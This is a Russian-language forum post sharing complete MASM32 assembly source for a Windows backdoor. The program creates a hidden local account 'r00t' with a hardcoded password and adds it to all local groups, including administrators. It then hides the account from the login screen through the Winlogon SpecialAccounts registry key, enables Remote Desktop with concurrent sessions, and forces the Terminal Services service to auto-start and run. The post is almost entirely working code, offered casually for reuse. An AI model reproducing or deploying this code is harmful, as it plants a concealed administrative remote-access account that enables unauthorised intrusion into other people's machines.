Показать сообщение отдельно

  #13  
Старый 08.03.2010, 15:41
dr.Pilulkin
Познающий
Регистрация: 03.06.2007
Сообщений: 44
С нами: 9968047

Репутация: 48
По умолчанию

Вот вам исходничек. Писал когдато мож пригодится.
MASM32
Код:
.586
.model flat,stdcall
option casemap:none

   
   include windows.inc
   include kernel32.inc
   include shell32.inc
   include netapi32.inc
   include advapi32.inc
   include oleaut32.inc
 
   
   includelib kernel32.lib
   includelib shell32.lib
   includelib netapi32.lib
   includelib advapi32.lib
   includelib oleaut32.lib
   

   
.data

wzUser dw "r","0","0","t",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
wzPass dw "t","0","0","r",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
pwzUser dd offset wzUser
d1 dd 0
Err dd 0
Ginfo LOCALGROUP_INFO_1 <0>
Uinfo USER_INFO_1 <0>
Eread dd 0
Etotal dd 0

hKey dd 0
szTerm db "SYSTEM\CurrentControlSet\Control\Terminal Server",0
szLic db "SYSTEM\\CurrentControlSet\Control\Terminal Server\Licensing Core",0
szSacc db "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList",0
szUsr db "r00t",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szVal db "fDenyTSConnections",0
szSes db "EnableConcurrentSessions",0
szSrvc db "TermService",0
Zer dd 0
One dd 1
Scm dd 0
Srvc dd 0
Sstat SERVICE_STATUS <0>
Sconf QUERY_SERVICE_CONFIG <0>
bneed dd ?

advpack db "advpack.dll",0
IsAdmin db "IsNTAdmin",0
_IsNTAdmin dd ?
hLib dd ?
szWin db MAX_PATH dup(?)

.code
start:
    
;NT Root
;==========================================================================
;Проверка на привилегии
;=======================
	invoke LoadLibrary,addr advpack
	mov hLib,eax
	invoke GetProcAddress,hLib,addr IsAdmin
	mov _IsNTAdmin,eax
	push 0
	push 0
	call _IsNTAdmin
    .if eax == 0
    	jmp error
    .endif
;================================
; Заполняем структуру пользователя
;================================    
	mov Uinfo.usri1_name,offset wzUser
	mov Uinfo.usri1_password,offset wzPass
	mov Uinfo.usri1_priv,USER_PRIV_USER
	mov Uinfo.usri1_flags,UF_SCRIPT or UF_DONT_EXPIRE_PASSWD
	
;================================
; Удаляем добавляем пользователя
;================================
	invoke NetUserDel,NULL,addr wzUser
	
	invoke NetUserAdd,NULL,1,addr Uinfo,addr Err
	cmp eax,0
	jne error
;================================
; Перечисляем группы
;================================	
	invoke NetLocalGroupEnum,0,1,addr Ginfo,0fffffffh,addr Eread,addr Etotal,0
	cmp eax,0
	jne error
	
	mov ecx,Eread
go: push ecx

	mov edx,dword ptr [Ginfo]
	mov edx,dword ptr [edx+ecx*8-8]
;=====================================
; Добавляем пользователя во все группы
;=====================================	
	invoke NetLocalGroupAddMembers,NULL,edx,3,addr pwzUser,1
	pop ecx
	loop go
	
	invoke NetApiBufferFree,addr Ginfo
;============================================
; Добавляем пользователя в состав специальных
;============================================	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szSacc,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szUsr,0,REG_DWORD,addr Zer,sizeof Zer
	invoke RegCloseKey,hKey
;============================================
; Разрешаем терминальные подключения
;============================================	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szTerm,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szVal,0,REG_DWORD,addr Zer,sizeof Zer
	invoke RegCloseKey,hKey
	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szLic,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szSes,0,REG_DWORD,addr One,sizeof One
	invoke RegCloseKey,hKey
	
	invoke OpenSCManager,0,0,SC_MANAGER_CONNECT
	mov Scm,eax
	invoke OpenService,Scm,addr szSrvc,SERVICE_START or SERVICE_QUERY_STATUS or SERVICE_CHANGE_CONFIG
	mov Srvc,eax
;============================================
; Запрашивем статус сервиса терминалов
;============================================
	invoke QueryServiceConfig,Srvc,NULL,0,addr bneed
	invoke QueryServiceConfig,Srvc,addr Sconf,bneed,addr bneed
	cmp Sconf.dwStartType,SERVICE_AUTO_START
	je autok
	invoke ChangeServiceConfig,Srvc,-1,SERVICE_AUTO_START,-1,0,0,0,0,0,0,0
autok:
	invoke QueryServiceStatus,Srvc,addr Sstat
	cmp Sstat.dwCurrentState,SERVICE_RUNNING
;=============================================
; Если на запушен запускаем
;=============================================
	je stnreq
	invoke StartService,Srvc,0,0
stnreq:	
	invoke CloseServiceHandle,Scm
	
	
ok:	invoke ExitProcess,0
error: invoke ExitProcess,1
end start

Последний раз редактировалось dr.Pilulkin; 08.03.2010 в 15:43..
 
Ответить с цитированием